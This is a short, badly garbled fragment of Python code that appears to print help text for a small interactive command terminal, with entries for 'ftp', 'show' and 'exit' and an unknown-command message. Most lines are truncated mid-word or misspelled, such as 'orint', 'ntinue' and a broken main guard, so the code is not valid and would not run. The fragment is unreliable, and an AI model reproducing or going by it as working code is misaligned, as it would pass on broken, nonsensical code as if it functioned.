print ("\tftp - mp ] 3
print ("\tshow - show all variables.")
nows this
- exit

orint ("Command ' is unknown to me"
ntinue

me == " main ":

rtTerminal ()
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